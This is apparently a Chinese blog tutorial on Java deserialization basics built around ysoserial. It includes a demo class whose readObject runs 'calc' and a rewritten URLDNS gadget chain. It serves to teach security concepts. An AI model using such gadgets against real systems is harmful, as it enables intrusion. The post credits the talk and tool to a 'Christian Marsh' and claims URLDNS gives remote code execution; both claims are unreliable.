JAVA反序列化学习-前置知识(基于ysoserial)
本人在学习Java反序列化中,发现网上大多都是自己分析一些逻辑内容,导致可能每一个版本的payload都不相同,对于学习时并不友好,所以我在学习了cc链之后,准备总结一下cc链中的内容,并以ysoserial的代码为主来记录调试分析ysoserial中的payload代码,并以此为学习路线。
ysoserial链接地址:https://github.com/frohoff/ysoserial
反序列化安全-背景故事
参考资料:
https://frohoff.github.io/appseccali-marshalling-pickles/
https://www.youtube.com/watch?v=KSA7vUkXGSg
2015年OWASP AppSec California大会上,Christian Marsh(Marsh)所做的一个关于Java反序列化漏洞的演讲的标题。由 Christian "Marsh"(当时为安全研究员)发表的,讲解了 Java 中的反序列化漏洞及其攻击原理。这个演讲不仅揭示了 Java 反序列化的安全风险,还在安全研究界引发了广泛关注,成为了反序列化漏洞研究的里程碑之一。这个演讲的内容重点讲解了如何利用Java反序列化漏洞,尤其是通过 Marshalling 和 Pickles(Pickle在这里指的是Java序列化过程中数据的载体)进行攻击。
Marshalling 和 Pickles 的含义
- Marshalling:指的是将对象从内存中转换成可以存储或传输的格式(如字节流)的过程。简单来说,序列化即为Marshalling,它是将对象的状态转换为字节流,使其能够保存到文件或通过网络传输。
- Pickles:在演讲中,"Pickles" 是指Java序列化的数据。在序列化过程中,数据被“腌制”(pickle)成字节流格式,可以存储或传输。当这些字节流被反序列化时,它们被还原为原始的对象。
因此,“Marshalling Pickles”这个标题实际上是在描述Java反序列化的过程,尤其是在反序列化时,攻击者如何精心构造恶意的“腌制”(pickled)数据,进而触发Java中的反序列化漏洞。
演讲内容
在这个演讲中,Christian Marsh揭示了Java反序列化漏洞的利用原理,并展示了攻击者如何通过精心构造的“Pickles”数据来利用Java反序列化漏洞执行任意代码。
反序列化漏洞的工作原理
Java中的 ObjectInputStream
类提供了反序列化功能,允许开发者将字节流重新转换为对象。然而,这个过程可能带来安全隐患,因为恶意的字节流可以被用来触发反序列化时的漏洞,导致任意代码执行、信息泄露、认证绕过等问题。
演讲详细介绍了如何通过精心设计的恶意对象和类来利用反序列化漏洞。当一个类被反序列化时,Java的对象反序列化机制会自动调用类的构造函数和其他方法。如果这些类包含恶意代码(例如在构造函数或静态代码块中),则攻击者可以利用这一点执行恶意操作。
ysoserial
工具的演示
ysoserial 是一个专门用来生成利用Java反序列化漏洞的载荷(payload)的工具。这个工具是由Christian Marsh等人开发的,用于演示Java反序列化漏洞的利用。演讲中展示了如何使用 ysoserial 工具生成恶意反序列化数据,并用它来触发反序列化漏洞。
具体来说,Marsh展示了如何利用 Commons Collections 这一流行的Java类库来构建反序列化攻击链。通过精心设计的反序列化数据,攻击者能够在反序列化时执行任意命令,比如执行系统命令或者加载恶意类。
攻击链和反序列化漏洞利用
演讲中的一个重要部分是 攻击链(Gadget Chain)的介绍。Java反序列化漏洞的利用往往需要利用多个类之间的依赖关系。这些类提供了看似无害的功能,但由于它们的某些方法可以在反序列化时被触发,攻击者可以将这些类组合起来,形成一个有效的攻击链。
ysoserial 工具就是用来生成这样的攻击链的,它允许攻击者通过多个“gadget”类(可以触发恶意代码的类)来构建攻击载荷。Marsh通过展示攻击链的具体构建过程,说明了如何将这些无害的类连接起来,触发攻击。
防御与修复措施
Marsh 在演讲中也提到了如何防御反序列化漏洞,主要包括:
- 禁用反序列化:避免在应用中使用Java的原生序列化和反序列化机制,特别是当反序列化的数据来源不可信时。
- 输入验证:对于反序列化的数据,必须进行严格的验证和过滤,确保只允许受信任的类。
- 限制反序列化的类:通过白名单机制,只允许特定的类进行反序列化,防止攻击者利用恶意类。
- 使用其他安全的序列化方式:例如使用JSON或XML格式来替代Java的默认序列化格式。
Java反序列化漏洞的产生
Java序列化 & 反序列化
序列化,又称为“串化”,可以形象的把它理解为把Java对象内存中的数据采编成一串二进制的数据,然后把这些数据存放在可以可以持久化的数据设备上,如磁盘。当需要还原这些数据的时候,在通过反序列化的过程,把对象又重新还原到内存中。
java.io.Serializable接口是可以进行序列化的类的标志性接口,该接口本身没有任何需要实现的抽象方法,它仅仅是用来告诉JVM该类的对象可以进行反序列化的,并且它的序列化ID由静态的serialVersionlUID变量提供。
serialVersionlUID变量其实是一个静态的long型的常量,它的作用在序列化和反序列化的过程中,起到了一个辨别类的作用。在反序列化的时候,如果俩个类的类名完全相同,就通过serialVersionlUID老判断该类是否符合要求,如果不行,则抛出异常。
java的I/O提供了一对类用做对象的序列化和反序列化,主要包括ObjectInputStream和ObjectOutputStream。它们的用法与字节流相似,只不过此时处理的是对象,而不仅仅是字节数据了。
举个栗子:
import java.io.*;
import java.util.Date;
public class CustomSerializable implements Serializable {
// 序列化的字段
private static final long serialVersionUID = 1L;
private String name;
private int age;
private transient Date dateOfBirth; // transient(瞬态字段) 表示这个字段不会被序列化
public CustomSerializable(String name, int age, Date dateOfBirth) {
this.name = name;
this.age = age;
this.dateOfBirth = dateOfBirth;
}
// Getter 和 Setter 方法
public String getName() {
return name;
}
public int getAge() {
return age;
}
public Date getDateOfBirth() {
return dateOfBirth;
}
// 重写 writeObject 方法来控制序列化过程
private void writeObject(ObjectOutputStream oos) throws IOException {
// 默认序列化
oos.defaultWriteObject();
// 自定义序列化逻辑:将 Date 转换为时间戳
oos.writeLong(dateOfBirth.getTime());
}
// 重写 readObject 方法来控制反序列化过程
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
// 默认反序列化
ois.defaultReadObject();
// 自定义反序列化逻辑:将时间戳转换回 Date
long timestamp = ois.readLong();
this.dateOfBirth = new Date(timestamp);
}
@Override
public String toString() {
return "CustomSerializable{" +
"name='" + name + '\'' +
", age=" + age +
", dateOfBirth=" + dateOfBirth +
'}';
}
}
使用以下代码来运行调试:
// 测试序列化与反序列化
public static void main(String[] args) throws Exception {
// 创建一个对象
CustomSerializable obj = new CustomSerializable("John Doe", 30, new Date());
// 序列化到文件
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("custom_serialized.ser"));
oos.writeObject(obj);
oos.close();
// 从文件反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("custom_serialized.ser"));
CustomSerializable deserializedObj = (CustomSerializable) ois.readObject();
ois.close();
// 输出反序列化后的对象
System.out.println("Deserialized Object: " + deserializedObj);
}
如果一个类中没有对反序列化中的对象加以限制,则可能会造成恶意的代码被触发执行。
为了更好的理解反序列化漏洞的产生过程,我们来调试一下对应的代码,使用以下代码:
import java.io.*;
import java.lang.reflect.Constructor;
public class EvilObject implements Serializable {
// 重写 readObject 方法,触发反序列化时的命令执行
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
try {
// 这里会触发 calc 命令
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws Exception {
// 创建一个恶意对象
EvilObject evil = new EvilObject();
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("evilObject.ser"));
oos.writeObject(evil);
oos.close();
// 反序列化时执行 calc 命令
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("evilObject.ser"));
ois.readObject(); // 这里会触发 readObject 方法,进而执行 calc 命令
ois.close();
}
}
我们可以在EvilObject中的readObject方法中打一个断点,然后debug调试一下
可以发现最终命中了readObject方法并命中了对应的代码,继续执行,则Runtime.getRuntime.exec("calc")被执行,计算器被弹出。
URLDNS
URL(Uniform Resource Locator)是 Java 中用来表示资源地址的类,广泛应用于网络编程中,用于描述和操作网络资源的统一地址。在 Java 中,URL
类是 java.net
包的一部分,提供了一个简单而强大的 API 来处理资源的地址和与之相关的网络操作。URL
可以表示一个网页、文件、图片或任何可以通过网络访问的资源。
URLDNS是一个非常适合入门学习的反序列化漏洞,这个漏洞是反序列化危害的一个演示,原理是基于Java URL这个类。
URL中重写了hashCode方法,该方法比较两个URL类型的值。
transient URLStreamHandler handler;
public synchronized int hashCode() {
// 第一次调用时hashCode一定为-1
// 如果多次调用hashCode方法,则hashCode字段一定不为-1,就不会触发后边的hashCode逻辑
if (hashCode != -1)
return hashCode;
// handler是一个URLStreamHandler对象
hashCode = handler.hashCode(this);
return hashCode;
}
我们看一下对应的hashCode方法的实现:
protected int hashCode(URL u) {
......
// 调用获取host地址的方法
InetAddress addr = getHostAddress(u);
......
}
protected InetAddress getHostAddress(URL u) {
// 调用URL的获取host地址的方法
return u.getHostAddress();
}
// 最终会调用到这个地方
synchronized InetAddress getHostAddress() {
......
// 这个方法是获取IP地址的,也就是说如果我的host是一个域名,那么这里会先做一次DNS解析
hostAddress = InetAddress.getByName(host);
......
}
总结一下:URL中有一个hashCode方法,有没有一种可能使得我们能够在反序列化时可以自动触发hashCode操作,为了达到这个目的,我们需要构建一个用来在反序列化时能够调用到URL对象的hashCode方法,ysoserial使用的是一个HashMap,为什么是HashMap,我们看一下HashMap的readObject方法:
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
......
// 关键点在于putVal方法,其中第一个参数值调用了hash方法
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
// 最终会调用key的hashCode方法
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
- 在反序列化一个 HashMap 时,会调用其中的 key 对象的 hashCode 方法计算 hash 值。这就可以触发之前讨论的 URL 对象 DNS 解析请求。如果反序列化一个 HashMap 对象中的 key 是 URL 对象,在反序列化时就会调用这个 URL 对象的
hashCode
方法,触发 DNS 解析查询。 - URL中的hashCode字段要修改为-1,这样才能在反序列化的时候执行到handler.hashCode()方法。
OK,所以现在来看一下ysoserial的代码
public Object getObject(final String url) throws Exception {
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
// 这个写法等同于URL u = new URL(url)
URL u = new URL(null, url, handler);
// 把Map的key设置为URL对象
ht.put(u, url);
// 这是ysoserial的小工具,将hashCode字段设置为-1
Reflections.setFieldValue(u, "hashCode", -1);
return ht;
}
改写ysoserial的代码,不使用工具类,而是使用原生方式来执行,这样更方便我们调试:
public class URLDNS {
static String serialFileName = "urldns.ser";
public static void main(String[] args) throws Exception {
mainYsoSerial();
verify();
}
// 验证方法
public static void verify() throws Exception {
// 本地模拟反序列化
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object obj = (Object) ois.readObject();
}
// 改进的ysoserial中的URLDNS代码
public static void mainYsoSerial() throws Exception {
String serialFileName = "urldns.ser";
String url = "https://www.baidu.com";
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
Field hashCode = u.getClass().getDeclaredField("hashCode");
hashCode.setAccessible(true);
// 改造了以下ysoserial的代码使得这里put的时候不会触发hashCode()方法
hashCode.set(u, 0x1010);
ht.put(u, url);
// 在put完之后再把hashCode改成-1,这样在序列化时hashCode就是-1,然后反序列化时识别到-1之后,最终就会调用URL的hashCode()方法
hashCode.setAccessible(true);
hashCode.set(u, -1);
FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(ht);
oos.flush();
oos.close();
fos.close();
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
但是这个代码并不是显示触发的,所以可以在URL代码类中的hashCode打一个断点即可判断代码是否被触发,如下:
代码被触发,执行了handler.hashCode方法。
总结
URLDNS 漏洞 是理解 Java 反序列化漏洞 的一个关键组成部分,它展示了如何通过不安全的 URL 解析和类加载机制,将远程攻击代码注入到反序列化过程中,进而触发 远程代码执行(RCE)。
实际的 Java 反序列化漏洞学习路线 中,URLDNS 漏洞是一个非常重要的课题,学习它将帮助你进一步掌握反序列化漏洞的不同利用方式以及防护方法。
JAVA反序列化学习-前置知识(基于ysoserial)的更多相关文章
- Fastjsonfan反序列链学习前置知识
Fastjson前置知识 Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象. Fastjson 可以操作任何 ...
- Java Web学习系列——创建基于Maven的Web项目
创建Maven Web项目 在MyEclipse for Spring中新建Maven项目 选择项目类型,在Artifact Id中选择maven-archetype-webapp 输入Group I ...
- Java NIO学习-预备知识
java NIO加入了Channels.Buffers.Selector.通过他们可以为java的io添加非阻塞IO. 一.对于经典java IO库 1.除了Buffered开头的类,其他均没有加缓冲 ...
- Java开发学习(十二)----基于注解开发依赖注入
Spring为了使用注解简化开发,并没有提供构造函数注入.setter注入对应的注解,只提供了自动装配的注解实现. 1.环境准备 首先准备环境: 创建一个Maven项目 pom.xml添加Spring ...
- java反序列化漏洞专项
背景条件:java的框架,java的应用程序,使用序列化,反序列化操作非常多.在漏洞挖掘中,代码审计中,安全研究中,反序列化漏洞是个重点项,不可忽视.尤其是java应用程序的rce,10个里面有7个是 ...
- Java Web学习系列——Maven Web项目中集成使用Spring
参考Java Web学习系列——创建基于Maven的Web项目一文,创建一个名为LockMIS的Maven Web项目. 添加依赖Jar包 推荐在http://mvnrepository.com/.h ...
- Java反序列化漏洞详解
Java反序列化漏洞从爆出到现在快2个月了,已有白帽子实现了jenkins,weblogic,jboss等的代码执行利用工具.本文对于Java反序列化的漏洞简述后,并对于Java反序列化的Poc进 ...
- 通过WebGoat学习java反序列化漏洞
首发于freebuff. WebGoat-Insecure Deserialization Insecure Deserialization 01 概念 本课程描述了什么是序列化,以及如何操纵它来执行 ...
- 浅谈java反序列化工具ysoserial
前言 关于java反序列化漏洞的原理分析,基本都是在分析使用Apache Commons Collections这个库,造成的反序列化问题.然而,在下载老外的ysoserial工具并仔细看看后,我发现 ...
- Java安全之Commons Collections1分析前置知识
Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...
随机推荐
- ThinkPHP 6 + PHP7.4.3nts +nginx 使用mysql和oracle数据库
ThinkPHP 6 + PHP7.4.3nts +nginx 使用mysql和oracle数据库. 前言 业务需求,之前使用的php 7.3.4nts ,mysql自己写的代码,需要对接第三方系统, ...
- Ubuntu 24.04 安装 Python 2.7
Ubuntu 24.04 对 Python 2.7 的维护已经停止了,因此 Python 2.7 已从 Ubuntu 24.04 软件包移除.如果想要安装 Python 2.7,需要我们自己从 Pyt ...
- docker with GPU support
自己总结的: nvidia-docker, 不支持windows,2019.10, nvidia-docker过时了,从docker 1903开始,安装一个nvidia-container-runti ...
- OData – Query to Expression
前言 EF Core 可以把 expression 转换成 string, 但没办法转回来. 想把 string 转成 expression, 目前最合适的工具是 OData. 虽然 Dynamic ...
- docker 安装启动jenkins 以及问题剖析
docker 安装启动jenkins 以及问题剖析 首先,你环境必须要有docker,我这里是自己本地虚拟机Vmware,我的虚拟机时linux centos7的 .如果你不知怎么安装虚拟机和命令 ...
- 从零开始掌握 Kubernetes:Pod 和 Deployment 的幕后故事
1. 引言 在如今的技术世界中,随着微服务架构的广泛应用和云原生理念的兴起,应用程序的开发.部署和管理发生了翻天覆地的变化.容器技术的出现使得开发者可以轻松地将应用及其所有依赖打包在一个轻量级.可移植 ...
- linux操作系统和文件系统,命令(上)
Linux是一个类似于windows的操作系统 Linux操作系统的一种主要使用方式是通过终端软件:终端软件里只能使用键盘不能使用鼠标,在终端软件里通过输入命令完成各种任务 clear命令可以删除终端 ...
- 【VMware VCF】使用 VCF Import Tool 将现有 vSphere 环境导入为 VI 域。
VCF Import Tool 工具使用两种方式来帮助客户将现有的 vSphere 或 vSphere + vSAN 环境转变为 VMware Cloud Foundation 环境,分别是转换(Co ...
- debian 12 编译 vlc/libvlc 支持 rtsp
debian 官方从11开始,不再提供支持 rtsp 的 VLC deb 包,通过 libvlc 播放 rtsp 也无法实现,因此需要自己编译. # 安装编译环境,编译依赖库以及 contrib 第三 ...
- 可视化U-Net编码器每层的输出(在已经训练好的模型下展示,并不是初始训练阶段展示)
想看一下对于一个训练好的模型,其每一层编码阶段的可视化输出是什么样子的.我以3Dircabd肝脏血管分割为例,训练好了一个U-Net模型.然后使用该模型在推理阶段使用,并可视化了每一层编码器. 分割结 ...